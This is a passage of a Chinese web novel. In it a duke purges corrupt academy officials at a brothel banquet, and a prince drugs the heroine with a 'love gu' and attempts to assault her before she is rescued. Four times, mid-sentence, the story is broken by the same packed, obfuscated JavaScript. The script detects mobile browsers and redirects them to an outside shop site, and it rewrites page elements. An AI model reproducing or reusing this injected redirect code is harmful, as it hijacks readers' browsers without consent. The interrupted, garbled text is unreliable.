不时有女子娇笑声从隔壁传来,隐约还有男人的大笑,听来畅快得意。 赵裕昌觉得有些好笑,这是聊正事的架势么?这不是明摆着拿朝廷的公款喝花酒。 他捏紧了拳头,脸色有些发青:“这么说来,今年书院的录用名单,各位大人已经预备定下了?” 赵裕昌是书院的院长,这么多年来,却只能退居幕后,被迫当一个不问世事的隐士。 如今倒好了,书院成了这些人拉帮结派的工具。 裴谦也失踪了,书院更是六神无主。 白会喧宾夺主,反问道:“院长往年也没亲自过问这些,都是底下人操办的,院长可是不满意?” 赵裕昌不遑多让,厉声道:“圣上对近些年书院的用人十分上心,御前还有人说,圣上今年想要御驾亲临,亲自看看书院培养的学子,到底是不是朝廷将后来的栋梁之才,不知道白教谕是否安排妥当。” “圣上?”白会有些摸不着头脑,“我从未听说过,御前有什么消息,若是有,难道下官会不够清楚吗?院长还是不要杞人忧天了,到时候劳损的终归是您自己。” 言外之意就是,要折腾什么就尽管去折腾,反正白会不会支持他——连带着白会身后的党羽,也不会支持的。 怕事的小官赶紧小声解围:“有人献曲,大人们还是先赏曲吧。” 此时此刻,门外一堆莺莺燕燕翘首以盼,女子们整理衣裙扶正头花,对着镜子左瞧右瞄,娇笑声阵阵,甚至还有带着乐器的姑娘调弦低唱,歌喉婉转,好不热闹。 安楚自觉站到最后边,美人们大多只在意自己的样貌,无暇顾及其他。 小姑娘抱着花妈妈给她新找的琵琶坐在角落,心想自己脑子莫不是给驴踢了,怎么会信一个陌生人。 那裴谦,不过是数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162722|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面之缘,要是自己玩脱了折在这儿,岂不是得不偿失。 至于那位冯家的少奶奶,她本意并非如此,如今走了算是一了百了。 安楚说做就做,悄摸地抱着琵琶离开了屋子。 老鸨一把抓住安楚的衣角拎到楼梯口:“你怎么回事?贵客们都久等了,你居然还在这里闲晃!速速去见客,真是没规矩惯了!里头都开始了,你怎的还不分东南西北似的……” 蹑手蹑脚的安楚如被雷劈——不是吧?运气不至于坏成这样吧? 安楚被赶鸭子上架,站在楼梯口,抱着琵琶,忧心忡忡。 粉衣少女偏头,拍了拍她的肩膀,声音清脆:“喂,你走错了,是这边噢。” 这少女二八年华,翩翩如一只轻巧玲珑的金粉蝴蝶。 鼻翼上一颗温润透红的小痣,生得极有韵味。 少女轻快问道:“你是第一次来这儿吧。” “嗯……”安楚闷声回答。 少女云髻淡妆,金玉钗环相簇,整个人都似笼在华光里,如一朵明艳的金边牡丹,“真巧,我也是第一次,还不熟悉,刚巧碰上你,也算是有个伴。” 她扶着安楚的肩膀,用着一见如故的语气向她介绍道:“你可不知道啊,今晚的麻烦事可多了,你可千万不要跟丢了,那些世家子弟们可难招待了,要求多多的,真是难为人。你一会儿可千万不要害怕啊,有我在呢,不会让人欺负你的……” 安楚一进门,立马感受到了屋子里有道目光向他投射而来,审视、平静,独属于上位者居高临下的淡漠。 很复杂,十分有穿透力,什么意味都有,唯独缺少嫖客的味道。 “又见面了。”那人笑吟吟的。 屋内烟气袅袅,浓郁到几乎看不清人影。 “……”安楚神色一凛,下意识想避。 她往后退了两步,正巧踩上了身后姑娘的裙摆。 粉衣少女施施然地将她往前推了一步,理了理发髻的钗环,笑吟吟道:“六哥,为了一个不出奇的女子,欠我天大的人情,你就当牛做马给我赎人情吧,我可不是好糊弄的小女娘,才不会轻而易举放过你。” 重逢来得太快,安楚快被诡谲多变的形势撞飞了。 雅阁内,歌舞俱停,死一般寂静。 “怎么都停了,继续跳继续喝啊。”裴谦走上赵裕昌让出的主座。 男人的容貌华丽而厚重,唇色如艳色玫瑰,侧脸线条更是精美,走过之处如朱栏金殿过春风。 白会神色千奇百怪,好似没能预料到这位未受邀请的不速之客会这么坦然地走上主座。 赵裕昌由一开始的震惊缓缓安定,转而若无其事地在一旁侍候。 按理来说这并无不妥,国公爷本身就是掌管书院的最高官员,只是前些年皇帝为管理凋敝的宗室,开始除去领皇粮空饷的闲散人员。 削权就是第一步,为一视同仁,哪怕裴谦他立了战功,也未能幸免。 至于为什么能留着这个官职,主要还是凭靠裴谦的郡主母亲,她身为书院的前任掌权人,为朝廷收纳无数英才,裴谦这才保留着虚空的官职头衔。 官职一直都在,只是看皇帝认不认。 39.雷厉风行 “继续喝。”裴谦拂袖间将酒壶重重放到桌上,那玉质的酒壶映照着琉璃光彩,酒液清亮,荡漾其中,真算得上琼浆玉露。 显而易见,皇帝当下对楚国公的态度甚为明朗,老陛下愿意买这个账。 故而无人敢得罪,一一噤声。 “不说啊。”裴谦取过侍女新奉上的酒杯,自斟一杯,一饮而尽。 沁凉玉露过喉,迟缓的热辣汹涌而来。 “那就开始算账了,从你开始,白教谕,你方才聊得火热,我竟从未听闻过,有人给你行贿,不送金银送乐姬,你好大的谱哇。” “是冯家的小子……他们家送来的,也是为了讨……”白会舌头打结,一时不知道该如何摘干净自己,“也是想在国公爷这里讨一个书院的名额。” 裴谦转头看向身后鹌鹑似的赵裕昌:“赵裕昌,你告诉我,形中书院录用人的标准是什么。” 赵裕昌利索跪下,把那些形同虚设的规矩念了一遍:“德才兼备者,家中无田地者为优,金银寸缕不着,身无近伺者……” “做到了几个?” 赵裕昌朗声回道:“一个都没做到。” 两人一唱一和,十分默契。 赵裕昌皱眉,面色难堪:“国公爷明鉴,下官定会严查,及时刹住书院腐败无为的恶俗风气。” 裴谦薄唇轻启,将手里的玉杯掷了出去,厉声道:“招学生不按规矩来也就罢了,现在还冠冕堂皇官府召妓,我看你们都是活得不耐烦了,管不住自己的下半身就拖下去砍了。” 国公爷不笑的时候,寒意不动声色藏在眼底。 白会吓得瘫软在地,连忙狼狈求情:“国公爷……这么多年,没有功劳也有苦劳啊,您不能嫌老奴没用了就卸磨杀驴啊!” 两侧的官员一时不知道该站哪边,心中只想起来法不责众,于是乌泱泱跪了一片:“国公爷!请您三思!” 裴谦嗤笑道:“以下犯上,目无朝纲,还跟我扯功劳苦劳,你有什么苦劳?我这儿可是收到无数投诉你匿名信,现在还在我面前混淆是非,形中书院可容不下这大的佛。” 赵裕昌冷着脸,解释道:“国公爷,这位白大人是大长秋的干孙子。” 此话一出,众人都傻了眼。 他们这倒不是求情,摇身一变成了帮凶。 真是火上浇油的一句话,虽是这个意思,但这话说出来怎么就变了味道?也不怪赵裕昌多年坐学院的冷板凳。 大长秋是皇后宫里的大太监,而宦官之流大多长着狗眼,最为皇亲贵胄、世家子弟所唾弃。 果然,裴谦沉默了半晌,脸色阴沉,苍白的笑意令人瘆得慌。 “一个教谕,在书院里一手遮天。”裴谦歪头,语气中盈斥轻纵笑意,“就是因为他是一个老太监的干孙子?” 那表情轻蔑如压在肩头的尘烟,好似在说我堂堂国公爷,难道会怕一个太监的干孙子? 裴谦坐在主案,点兵似的过问官员们的工作情况,完事了表示十分不满:“以往还不知道书院里头有这么多弯弯绕绕,赵裕昌你吃闲饭么。按照国法,该砍的砍了,尤其像白会这样的,传到圣上的耳朵里,你说,我们该怎么交代。” 他直接越过那些错综复杂的关系,就事论事。 不当闲人就得立威,立威就从杀鸡儆猴开始。 管他是谁家的,挡路者,直接砍了。 “国公爷这话就说得不对了,上位者哪几个没点癖好的,这么多年,我代掌书院的大小事务,成就也是大家有目共睹的!黄口小儿岂能一言蔽之。” 白会在书院的时候,还是郡主娘娘当家,郡主娘娘一介女流,当初在任的时候他都颇有微词,现在又来了两个不服众的小辈。 裴谦不在乎不得罪人,直言不讳道:“我母亲在任的时候你不就是一个看大门的么,靠着大长秋的关系才有你这教谕的位置。我可真不知道,你除了在这个位置上享受荣宠贪图富贵,还有什么功劳苦劳。” 他准备齐全,一甩袖,证物散落一地:“瞧瞧这些账本,还有检举的血书,白会,有什么冤情你自向廷尉说。” 摔杯为号。 白会横肉一抖,起身拍了拍手,大厅内立马涌入数十个少秋府的太监。 均是养在内廷的高手,他们是中宫皇后豢养的杀手,组织羽翼的阴影悄无声息悬在郢都。 哪怕是次等杀手,对付一些日常琐事也是足够的。 白会提了提腰带,精气神十足:“既然国公爷敬酒不吃吃罚酒,那便甭怪老夫不客气了。你一个黄毛小子,有什么资格对老夫指手画脚?” “哟,大长秋配给你的人?”裴谦漫不经心笑了起来,他索性找了个舒服的姿势靠坐,兴趣盎然地看着乱入一锅粥的大厅。 “你……白会,你大胆!这可是楚国公,你居然敢……” “嗯?”白会双眼一瞪,罗刹夜叉似的凶神恶煞,死死盯着那个出言不逊的小官,“我看你是活不耐烦!” 手起刀落,那位出头的官员被砍了个鲜血淋漓。 脖颈处断地整齐,鲜血哗地一下喷涌而出。 裴谦抄着手,神色冷淡威严,“白会,你是要造反。” 白会气势汹汹,头一扬,怒声道:“国公爷,只怪你敬酒不吃吃罚酒!” 裴谦偏头,赵裕昌赶紧凑近,生怕沾到了火星子。 只见裴谦神色自若,十指交叉搁在胸前,懒散地靠坐在椅子上:“不用留活口了,就留他一个人,到时候廷尉府审完了还要张贴告示。赵院长,你觉得怎么样?” 赵裕昌未来得及回应,无数营卫鱼贯而入,神兵利器,骤然将房间堵得水泄不通。 整齐划一的拔剑声压过冗杂的慌乱声,该跪下求饶的求饶,该抱头躲在木柱后的便躲在木梁后。 顿时血色蔓延,鲜血浇灌娇嫩的花瓣,铁锈味充斥在众人的鼻尖。 那是冷硬残忍的味道,混杂着暖室内奢靡的精油香气和熏香,结合眼下尸横遍野的血腥场景显得无比诡异。 眨眼间大势已去,白会心惊胆颤,赶紧拜倒在地上,也不顾脸上的斑斑血迹,哭嚎道:“国公爷饶命啊!卑职再也不敢了……干爷爷救命!快让干爷爷救我啊!” 赵裕昌摆手:“押下去!” 幸存官员们小心翼翼地挑了没血没尸体的干净地儿,跪下歌颂道:“国公英明,有国公爷坐镇,实属我等下官之行,形中书院之幸。” 裴谦已经喝上了新奉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183130|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的茶水,端着茶盏,轻吹茶水上的浮末:“各位大人快起来吧,只是顺手处理了一些小插曲,各位大人受惊了。” 营卫将剑上的血擦净,流水一般退了出去。 紧接着便是训练有素的壮汉,卖力地收拾着现场,将地上肆意流淌的血痕尸体处理得干干净净。 裴谦从头到尾,从未下来过,坐在主座泰然自若:“赵院长,形中书院本就是替朝廷招揽人才的地方,替天下英才谋求出路,如今弄成这个样子,若你不想办法补救,你知道下场的。” 这话虽然严厉,但不难听出裴谦的偏袒。 赵裕昌走下台阶,跪拜有三,铿锵有力道:“下官当尽心尽力而为,鞠躬尽瘁死而后已。” 裴谦处理完了满腹油水的白会,心情舒畅了许多:“所有的事公事公办,你不是我任命的,是朝廷和陛下信任你,眼下时局艰难,书院里怕是一堆烂摊子等着处理,要不然选几个人来协助你?” 赵裕昌头都没抬,又深深跪了一礼:“我等向国公爷马首是瞻。” 下面的官员也一一效仿,官府召妓瞬间变成了表忠心的书院内部议会。 裴谦交代完了,起身准备离开:“今年开春又要招一批新人,辛苦各位了。” “恭送国公爷……” 出了门的裴谦瞥见墙角蹲着擦剑的云沧海。 他冷冰冰抱怨道:“养着你们不知道是做什么的,主子差点命丧黄泉了,你们倒好,一个个领着空饷尸位素餐,要是我死了,你们上哪儿领俸禄。” “可明明是你叫我们不要跟上的……”云沧海一激灵站了起来,语气有些委屈。 沿路都是裴谦留下的标记,却又不允许他们上前……不就是为了跟那个姑娘单独相伴嘛。 他眼圈都红了,顶着鸡窝头,苦兮兮地瞅着自家主子。 看得出这几日他也没怎么歇息。 主子要是出事了,国公府所有人都得陪葬。 “我都怕死了,大小姐要是知道我把你看丢了,明天要把我挂在三军面前祭旗的……”云沧海心有余悸拍着胸脯,压低声音说,“我还年轻,我可不想死……” 裴谦一顿,停下脚步,小心翼翼问:“阿姐不知道吧?” 云沧海揉着眼睛,泪眼婆娑:“怎么会不知道,大小姐将你失踪的消息按下来,就怕居心不良的人趁机生事。赵大人知道你那日出了书院便没了踪影,也殚精竭虑,日日没睡个安稳觉呢!” “我好得很,只是出了一点小意外,不足挂齿。你回禀大小姐的时候避重就轻,不要给她徒增烦恼。” “是,主子。对了主子,还有一件事,不知当讲不当讲。” “随行的那位荆家表小姐,好似又悄无声息地跑了……” 裴谦抬眉:“跑了?” 云沧海面露难色:“那姑娘有意避开我们的……我们也不敢跟上啊。” 裴谦目光一沉,恍若暴雪降临的乌云压城:“孟询还在楼里?” “六殿下自然在,他不喜吵闹,还是在三楼拐角深处的雅间。” 裴谦拔剑而起,面色不善:“就知道他不会善罢甘休。” “主子!您拿着剑呢,小心点儿!”云沧海紧追其后。 40.此蛊无解 试问哪个好人家的儿郎会给见面没几次的妙龄少女灌蛊虫? 安楚第一次见这么下作的手段,虽然前不久她还理直气壮地在安伯面前唧唧歪歪“兵不厌诈”,如今自己也是败在这上头了。 孟询深深地看着她,好似逗弄狸奴,轻而易举圈在怀里,小小的、柔软的。 女子向来喜爱用绿玉发钗和带白玉流苏的步摇调教狸奴,如今想来确实有一番趣味。 酒的辛辣味直冲安楚的天灵盖,酒一路往下,像一壶烧开的沸水,让她全身都热了起来。 安楚挣开左右侍卫的扣押,急匆匆地趴到地上干呕了一番,可惜无济于事。 她呛得泪眼婆娑,眼睫都沾着泪,眼尾也染上了丝丝猩红:“你喂我喝的什么?” 不胜酒力,她泪水蒙着眸子,如一潭静谧的深湖,波心漾漾,涟漪轻皱。 孟询摆了摆手,示意侍卫们都下去,一旁看热闹的小姑娘翘着脚看热闹不嫌事大,甚至还朝安楚绽开一个灿烂极致的微笑,那水润年轻的脸庞,白里透红像一朵含苞待放的小玫瑰。 “你可听说过月鸣蛊,它的主要成分是一种只出现在深夜月光下的虫子,靠着吃霜花维持生命。微涩微苦,中蛊者只会出现轻微的反应,不会有性命之忧,若是运用得当,还有延年益寿补气益血的功效。” “……” 安楚并不觉得这是什么好玩意儿,蛊虫是怎么跟延年益寿扯上关系的? 虽然这一块儿确实是安楚的盲区,但也不至于被这样忽悠。 “好东西啊。”安楚了然一笑,发自内心地感慨道。 她一般情况下是没什么表情的,除非是遇到很离奇的事,她才会迫不得已地笑出声。 就比如当下。 桌上白锦素净,盘中搁着两盏酒。 孟询抱胸,欢声笑语间不忘偏头看她:“不要这么看着我,我平日可是舍不得拿出来的。” 安楚动作倒是快,一个箭步迎面而上,提溜着旁边看热闹的小姑娘。 受惊的小姑娘如惊弓之鸟,奋起扑腾无效,三下五除二地被安楚制服得服服帖帖,“六哥!救我!我不要——” 安楚捏紧少女的下巴,强行将杯中酒给她灌了下去。 咕噜咕噜。 少女惊慌失措地望着她,喉间一动,酒液就不清不楚地咽了下去! 那怎么得了!月鸣蛊可是情蛊,这个乡巴佬不明白其中的情趣也就算了,她虽没用过但也不少见。 “解药。”安楚冷声道,在朦胧不清的熏香烟雾里,她一脚踩在梨黄茭白靠背凳上,像一头蓄势待发的恶狼,“不然这位也要一同受罪了。” “六哥……”小姑娘向他求救。 孟询心中觉得好笑,眉入云霄,眉眼间似是揉入了星河流水,他心中有些得意:“真是狠心的人儿,只可惜此蛊无解。” 小姑娘闻言,一嗓子哭出了声:“哇……我不要哇……我还没强取豪夺……我要睡我想睡的驸马!” 安楚心道,真是位豪爽的姑娘,口无遮拦说的都是真心话吧。 孟询没多的心思去搭理小妹了。 他兴致盎然,欣赏着女孩利落的身手、不按常理出牌的新奇、以及逐渐溃散的专注力。 蛊虫就像是一把锁,一把锁会对应着一把钥匙。 若是上了锁,必然是要解开的,也就是依靠着解药解开,怎么会无解? “少来这一套,这个蛊虫会有什么功效?”安楚顺手将少女推了出去。 小姑娘眼泪汪汪地朝孟询奔去,毕竟一切发生得过于迅速,她实在没招架住。 金尊玉贵的女孩从未遇见过这样的事,她骄纵,却也从未有人有资格指责她。 今天算是啃上硬骨头了,这个无礼的平民居然敢这么对她! 小姑娘张牙舞爪地无理取闹,哭道:“六哥!你害惨了我!我要告诉父皇!我要告诉父皇!我要狠狠罚她!千刀万剐都不为过!她把那个酒喂给我了,我该怎么办啊……六哥,你说句话啊!” 孟询叹了口气,眼神出奇温和,他象征性地摸了摸小姑娘满是珠翠的头发,道:“睡吧,乖孩子,睡一觉就什么都不记得了。” 小姑娘无声无息地倒了下去,如抽干了全部力气。 孟询将她一揽,慢条斯理地将她安置到床榻之上,取下斜插的金钗,贴心地盖好了粉缎面绣云纹的被子。 安楚全程看在眼里,她保持警惕姿势,慢慢后退,翻身准备跳窗逃跑,余光却见窗外人影攒动,刀光雪白——门外的侍卫正待她自投罗网呢。 “看到了么,按理来说,睡一觉就没事了,若是清醒着……”孟询身形出挑,下颌线流畅精美。 他整个人不仅形容尚可,那周身散发的仪态气韵更是寻常人所无法比拟的。 处理完一切的孟询朝她伸手:“我的玉佩呢?” 直至走到安楚跟前,她才恍过神来,她惊觉地背过身去:“我哪儿知道?” 孟询十分满意,药效上来了,反应肉眼可见的迟缓。 寒风阵阵,穿堂而过,大眼瞪小眼。 安楚倔强地不肯低头,屋内熏香浓郁,呛得人眼泪汪汪。 闪烁的泪光如点点细碎星石,窗外琵琶古琴弦音阵阵,偶有男女的轻笑传来…… 孟询居高临下,轻逸冷峻的神色带着与生俱来的威严,“所以你终于承认了,荆楚歌,嗯?你可还记得,你收了我的聘礼,名义上,你已经是秦王府的人了。” 安楚身影有些摇晃,咬牙道:“荆府被抄,你也得了好处吧,可见我只是你计划中的一部分,你也是逢场作戏,既然如此为什么还紧咬着我不放?” 孟询闻言,转而调笑道:“今时不同往日,我对你越发感兴趣了,我呀,是有心娶你进门的。” 安楚扶额,若无其事地回应:“信物已失,你空口无凭,哪儿来的聘礼。” 她面上波澜不惊,其实早就快站不住脚,这屋里的地暖和熏香太足了。 而这一切都在孟询的预料之中,“那又如何,你无法抗拒,阿楚,如今的你无依无靠,你逃不掉。” “虽然我不知道,你是如何认识裴谦的,你和他之间到底有过什么,但这已经不重要了。” 安楚继续问道:“你方才还没说完,若是清醒着会怎样?” “好闻吗?今日天香楼的供用香料是龙涎香,搭配着月鸣蛊,简直天下一绝,令人梦在其中,醉仙欲死,无法自拔。你若是强行运气,只怕会倒得更快。” “你还在香里面掺了别的东西?”安楚皱眉想要捂住口鼻,但这都进来这半天,不知道该吸进去多少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14209339|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是发作,也该到了发作的时候。 “确实,想学吗?夜还长,我可以慢慢教你。” 孟询这话就说得暧昧了,他抚上安楚的腰肢,是丰盈的女子香。 形容不出到底是花香还是木香,亦或是别的什么。 令人如醉如痴,心驰神往。 何须更问浮生事,只此浮生是梦中。 这是他第一个重逢于梦里的女人,只是梦里的她是温顺爱笑的,像极了春初绽放在寒冷料峭的桃花。 又像是清新小巧的茉莉,可爱纯真,采撷一朵置于掌中,如珠玉璀璨精致。 说到底安楚还是黄毛丫头一个,儿女情事上比一窍不通稍微好一点点,孟询侵略性的亲近让她避无可避。 在这个要命的时刻,安楚不知为何脑子里竟闪过了裴谦的样貌。 裴谦?她好像并不抵触裴谦的亲近,就算是躺在一张床上,他们也未有僭越……如果排除掉拥抱的话。 孟询感知到,她不是掌心的娇花,她的身躯僵硬得可怕。 他善于安抚,也善于调情,可眼前的少女不开窍且不配合。 但孟询有时间和耐心,他要带她回去,将她调教成自己日思夜寐的模样。 孟询解下了腰带,那是一段丝绸的软带,虽不镶嵌金玉珠宝,但材质和工艺价值千金。 他将解下的腰带捆在安楚的手腕间:“这样吧,你求求我,若是我高兴了,就放过你如何?” 士可杀不可辱,安楚几乎是将这两个字在舌尖上要咬出血:“你、做、梦。” “哦?”孟询闷笑,欺身压住她。 安楚的脑海里瞬间就炸开了花。 供人狎昵,不如杀了她。 门外一阵急促的脚步声响起。 “大人!热汤烧好了!小人给您搬进来!”少年人扯着嗓子吆喝道。 侍卫连忙挡在门前,严声呵斥:“哪个不懂事的!大人忙着呢,你是哪儿来的小杂碎……” 热水飞溅,木盆乍破。 这人出手蛮横,木盆在他手里跟琉璃瓷器没什么两样。 侍卫被浇了一头热,哪曾想这穿着短打毛头小子居然会从木盆下抽出刀来。 一时间刀光凛冽,血影模糊。 血雾弥漫,飞溅的血沾满窗柩,落在白纸间似肆意绽放的大丽花,大小不均,落地生灰。 少年眉宇间杀气腾腾,站在一片尘烟深处,模糊的身影在昏暗夜里生出光芒。 少年人的意气风发像是将围城撕开了一个口子,千军万马奔腾而上。 “有人么?”他将短刀抛了,拍了拍手,拂去掌心根本就不存在的灰。 他只是走个过场,脚上一双朴素皂黑的棉靴下,力道十足踢了出去,下一秒门便被踹开了。 木屑飞溅,尘烟四起,香料的熏染升腾起的烟雾,还混杂着断裂的木头破开的小小尘埃,在空中漂浮不定,游晃如水上蜉蝣。 云青天如展翅之鹰飞身而来,挡在少年面前。 他怒声呵斥道:“你——大胆贼人!胆敢刺杀亲王,还不快受死!” 少年赤手空拳的,却丝毫未有惧意,他眯起眼睛,那双浅棕色的瞳孔原本是稚嫩柔和的,此刻却是攒动着汹涌的杀气,令人不寒而栗,“好狗不挡路,挡我路的都得去死。” 41.火光中来 孟询被迫中断,僵持间不由得怒火中烧,回眸一顾似要将罪魁祸首撕碎。 “你——” 可当他看清楚来人后不由得愣住了,这家伙怎么会出现在这里? 安楚被捆了手腕,看到眼前的少年,眼睛刹那间亮晶晶的:“是你!你还活着?你是来救我的吗?” 时鸣衣带上沾血,昏黄灯影下一片斑驳,踱步走来,轮廓逐渐明朗,乌黑的发在身后摆荡,气势如烈烈战火里屹立不倒的旗。 他可怜兮兮地望向榻上的安楚,如泣如诉道:“楚姐姐,明明是我等你来救我的,你迟迟不来,我只好来找你了。” 如果不是他手上还提着一把淌着血的重剑,安楚真的快要相信这个无辜可怜的小小少年了。 “叫得好不叫人恶心。”孟询无情嗤笑。 时鸣转头望见孟询,不由得火冒三丈:“就是你欺负她是吧,管你是谁,看我不砍了你!” 少年不曾练过剑法,他的重剑拿在手上几乎是当砍刀使的。 一劈二斩,风声破裂,呼啸的剑风从孟询的耳边吹过。 这一刀若是没避开——那床榻被砍成两截,变成两截的怕是孟询的身体了。 敢情是没半点手下留情。 “别以为你是乌金王的小儿子就能在我这儿撒泼,你也不看看这是谁的地盘。” 哨声清脆,安楚似能感受到身下床榻、地板皆在震荡,暗处有无数影卫伺机而动。 血花绽放,时鸣站在一片杂乱的地面,血色迷离间,他毫不犹豫将刀口转向孟询 。 “都退下。”孟询心中只觉得好笑,反手抬起影卫怀里的枪,唰的一声飞身而起,“我要亲自会会他。” 时鸣抬腿,迅速转身从左右相近的影卫手里夺过一把枪,枪仞相接,锵的一声脆响,火光四溅。 他大笑道:“好啊,殿下身手了得,不过于我相比,还是略逊一筹。” 孟询将枪往他身前送了送,翻身便是一招以退为进:“你这嘴就应该缝上,唧唧歪歪的,听着就令人生厌。” 时鸣脸上虽是笑嘻嘻,但手中腿上动作丝毫不敢马虎。 一场混战打得火热,焦灼之时简直难舍难分。 安楚吃亏地蠕动着自己的身体,心想着怎么挣脱绳子,怎么请救兵怎么脱身。 轰。 门被再度撞开。 “打扰六殿下雅兴了,我这儿刚忙完,丢了人。”裴谦恍然大悟一般看向室内乱境,踩过地上破碎的瓷片,滚落一地的玉瓶、宝石玛瑙,不动声色地薅起半身不遂的安楚,“果真是在这儿。” 有人真刀实枪干了个你死我活,有人坐高堂广阁运筹帷幄。 “巧啊,这是起了争执?为了在下的姑娘?”裴谦假惺惺地问候道,他抱起榻上的女子,颇为挑衅地将孟询打量一番,“这可不是你的作风啊,得不到就强取豪夺的,有失风范啊。” 安楚已经懒得动了,她翻了个白眼表示无声抗议。 这家伙居然还能掐着点进来,都打得差不多收场了才过来拉架,是怕伤亡不够惨重吗。 裴谦身后跟着京都巡防营的副官,国公爷八面威风,指着一地狼藉道:“把闹事的人都带走。” 副官大人面色不善,阴沉到难以言喻,“查封!都不许动,通风报信的别怪刀剑无眼。” 副官大人肌肤雪白如玉,一双琥珀色的眸子清澈见底,愕然倒影着眼前荒唐、血腥的一幕。 他转头看向孟询,语气之中颇为关切:“六殿下……您要走一趟么?今夜你带公主混迹歌楼的事,陛下要是知道了,肯定又要不高兴了。” 副官大人的脸色更难看了…… “……”孟询没有想到终有一天,自己的好兄弟会把这种软刀子手段使到自己身上。 裴谦转头,豁然开朗一般拍了拍这位副官的肩膀:“徐副官得知公主失踪,心中焦急难耐,如今找到了,大家都算是松了口气,你说是吧,六殿下。” 副官劝道:“六殿下,你把公主带到这个地方,陛下知道会生气的。” 孟询冷笑一声,道:“怎么,你还要去陛下面前说道?” “下官不敢,只是公主千金之躯,你带着她来这样的风月场所,将后来传出去,终归是公主吃亏。”徐副官虽口头上说不敢,但丝毫不肯退让。 孟询脸色十分难看:“还轮不到你来说这样的话。” 裴谦从中斡旋,温声道:“我也算是看着她长大的,我们都是一些风流坏的粗俗痞子,说好听点就是风流少年人,难听点就是徒有其表的废物纨绔,姑娘们可不一样,惹上了这样的事,坏名声就会像一粒刻骨的污点,一辈子都擦不干净。” “你!”孟询再蠢也听出了指桑骂槐的的意思。 裴谦微笑提议:“让我带她们先行离去,天香楼本身就是一块是非之地,一起走怕是太引人注目,殿下不如留下善后。” 孟询反驳道:“你怎么不留下善后?” “我倒是能留下善后,只是六殿下要是能信得过,我自然也觉得是好的。” 孟询还真信不过,谁知道这家伙会不会落井下石。 徐副官带走了公主,六殿下愤愤不平去善后。 时鸣初见的欣喜继而转为苦涩:“好姐姐,终于让我找到你了,你都瘦了,是不是受了很多委屈?” 他可怜兮兮地捧着安楚受缚手,双眼婆娑眼泪,恳切道:“让我跟你走吧,阿楚。” 这个称呼深深刺痛了国公爷,他一向体面,但唯独在这个节骨眼上难以自持。 他姑且忘记了这男人的真实身份,直接将他放到捍卫男人尊严之战的对立面。 “哪儿来的贼人?”他冷声发问,目光凌厉扫过时鸣,不给对方留片刻喘息的时间,“今日天香楼人手繁杂,保不准是哪儿来的刺客。” “你这个王八蛋,裴谦!你敢落井下石!”时鸣没想到对方竟会过河拆桥,被气得不轻,顿时就要撸开衣袖大干一场。 云沧海命人将时鸣拿下,三下五除二就将他捆得严严实实。 事情的经过,还得从一炷香前,裴谦拿着剑下楼的时候说起,只见总有一人鬼鬼祟祟跟着秦王府的侍卫,让云沧海绑了来,果真是凑巧认识的。 时鸣见到了有过几面之缘的国公爷,不由得喜上眉梢。时鸣随乌金王在郢都游访时,与他喝过几回酒,在记忆里这位爷不是惹是生非的料子,无非是爱玩了些风流了些,有原则有皮囊。 不过当时时鸣对裴谦的评价让阿父好好奚落了一番——老父亲的原话说:“你还年轻,眼神不好使很正常。” 这个时候也顾不上那么多了,时鸣赶紧比划一番:“你找的姑娘是不是这么高,红衣,发髻梳成双丫,后垂发系着银色发带?” 时鸣继续描述:“我看她跟另一个姑娘进了秦王的房间,我觉得她有危险!” 两人几乎一拍即合。 时鸣一想到自己还是黑户,便讨价还价道:“国公爷,处理不好就是刺杀亲王,我可背不起这样的锅。” 裴谦大言不惭道:“事成了有你的好处,你放心去,我给你搬救兵。” 中原人不是总说君子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244957|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一言驷马难追吗? “特殊事件特殊对待罢,小子,你来历不明,还不知道你是不是细作呢,万一包藏祸心,大盛岂不是要置于险地中了?押下去。” “你……你敢玩阴的耍小爷,有本事就不要放小爷出来!” 裴谦压低声音:“兵不厌诈,小家伙你还得学。” 时鸣气得两眼发黑:“当时你说了要保我的!” “混蛋,把我拖下水,你自己倒是稳坐钓鱼台!楚姐姐!救我!” 